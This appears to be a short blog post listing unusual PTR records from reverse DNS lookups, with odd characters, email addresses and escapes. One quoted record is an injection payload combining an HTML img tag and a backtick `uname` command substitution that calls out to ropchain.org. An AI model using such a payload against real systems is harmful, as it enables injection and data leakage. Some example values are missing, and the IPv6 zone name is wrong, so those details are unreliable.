Unexpected PTR records in reverse DNS lookups

Reverse DNS resolution is a technique to determine the domain name associated with an IP address. It uses PTR records with the in-addr.arpa domain for IPv4 addresses and in6.arpa for IPv6. For example, the address has a PTR record for the domain which resolves to dns.google. Some of these records might contain surprising information…

Commas, semicolons, spaces and quotes  "vl1932.switch01.ntl02.privatecloudco.com".     faith's roku.uncg.edu.   politikere.harstad,kommune.no.    netflix-cdn-snz-5,broadband-sparknz.global-gateway.net.nz.  gw-Te-0-0-0-14-877-8203;millvilleasd.blm.ptd.net. rvs-rt0004_ge-6-2 .intelsatone.net.

Email addresses 43-231-53-4.dynamic.STARITSERVICES.geocitysolution@gmail.com. H50-003@public.hhs.se.

HTML f"><img/src=//ropchain.org/csp/ip.gif>f"f`uname`.x.ropchain.org.

Special characters

In the ASCII encoding, 0x0d is the carriage return character, and 0x5c is the \ character.  telma_\x5c(telecom_malagasy\x5c).equinix-ix.fr.\x0d.

Subnets      static.hyderabad.bb. static.ill.

Others &#   ??????-??????.??.